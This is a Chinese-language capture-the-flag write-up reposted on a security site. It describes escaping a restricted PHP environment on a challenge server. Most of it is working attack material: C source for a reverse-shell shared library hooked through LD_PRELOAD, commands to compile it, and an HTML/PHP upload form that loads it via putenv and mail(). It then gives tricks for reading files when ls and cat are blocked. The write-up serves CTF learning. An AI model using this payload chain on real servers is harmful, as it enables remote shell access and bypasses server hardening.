欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

三个白帽之招聘又开始了,你怕了吗 writeup

来源:http://www.firesun.me/ 作者:火日攻天 时间:2016-06-27 TAG: 我要投稿
, 唯一不同的是这次后台有个脚本在循环删除tmp目录下的内容,不过并不影响,仍然可以用alictf中大部分人的做法,使用move_uploaded_file上传文件,使用自己编写的so库将flag写入/tmp目录,使用include,highlight_file或者show_source来读取这个文件,只要所有操作都是在一次请求中完成的,就能在/tmp被清空前将flag读出来,不过这样并不优雅,第一,为什么要用move_uploaded_file呢,直接操作$_FILES就可以获得post上传的临时文件的路径,就可以直接用于LD_PRELOAD的设置,第二,如果能直接反弹shell,是不是问题就简单的多呢?

我们首先写一个so文件来反弹shell

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <netdb.h>
#include <dirent.h>
char shell[]="/bin/sh";  
int sock;

void pwn() {  
    setbuf(stdout,NULL);
    struct sockaddr_in server;
    if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
        printf("Couldn't make socket!\n"); exit(-1);
    }

    server.sin_family = AF_INET;
    server.sin_port = htons(atoi("端口"));
    server.sin_addr.s_addr = inet_addr("反弹IP");

    if(connect(sock, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) {
        printf("Could not connect to remote shell!\n");
        exit(-1);
    }

    dup2(sock, 0);
    dup2(sock, 1);
    dup2(sock, 2);

    execl(shell,"/bin/sh",(char *)0);
    close(sock);
    return 1;
}

int geteuid() {  
    if (getenv("LD_PRELOAD") == NULL) { return 0; }
    unsetenv("LD_PRELOAD");
    int pid = fork();
    if (pid < 0) {
        pwn();
    }
    else if (pid == 0 ) {
        setsid();
        int pid2 = fork();
        if (pid2 < 0) {
            pwn();
        }
        else if (pid2 > 0 ) {
            //Padre
        }
        else {
            close(0);
            close(1);
            close(2);
            umask(0);
            pwn();
        }
    }
}

通过下面命令编译为so文件

gcc -c -fPIC hack.c -o hack  
gcc -shared hack -o hack.so  

接下来,构造一个upload.html用于上传so文件并且执行exp

<form action="http://451bf8ea3268360ee.jie.sangebaimao.com/NQTGmhlG3im8PUcsO2GgMCieThLtbqi4.php" method="post" enctype="multipart/form-data">  
    <input type="file" name="hack" id="file">
    <textarea input type ="text" name="firesun">
    if(isset($_FILES['hack']['name'])) {
        var_dump($_FILES);
        $picname = $_FILES['hack']['name'];
        putenv("LD_PRELOAD=".$_FILES['hack']['tmp_name']);
        mail("a","a","a","a");
        die();
    }
    </textarea>
    <input type="submit" name="sub" value="Submit"  class="btn btn-success">
</form>  

直接选择编译好的so文件上传,就能发现成功反弹了shell。

不过当然不是一帆风顺的,ls,cat等命令都被禁用了,所以,这时候有两条路,一条路是寻找被遗漏禁止的冷门命令,比如alictf中有人使用的tac,另一条路就是使用无法禁止的基本命令完成列目录和读文件,这里我们直接用后一种方法,echo *可以列目录,sh -v可以获得一个文件的第一行,而echo和sh都是无法禁止的,所以顺利的获得flag

当然其实方法还有非常多,比如bash -v,利用HISTORY等等,这里只是抛砖引玉,各位可以自行研究。

写在最后

最后来说说和题目有关的故事,本题的第一步是ALICTF Recruitment I的简化,在原题中应使用padding oracle来伪造带注入语句的用户名来注出管理员的密码,而这里只需要简单的伪造admin就行了,第二步HPP的出处其实来自phith0n牛提交的贷齐乐系统最新版SQL注入http://www.wooyun.org/bugs/wooyun-2010-0171945, 由于HPP而导致了waf的完全绕过,而最后一步就是套路了,如何绕过open_basedir是永恒的话题,也许下一次再见就是二进制的漏洞了,XD

上一页  [1] [2] [3] 

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载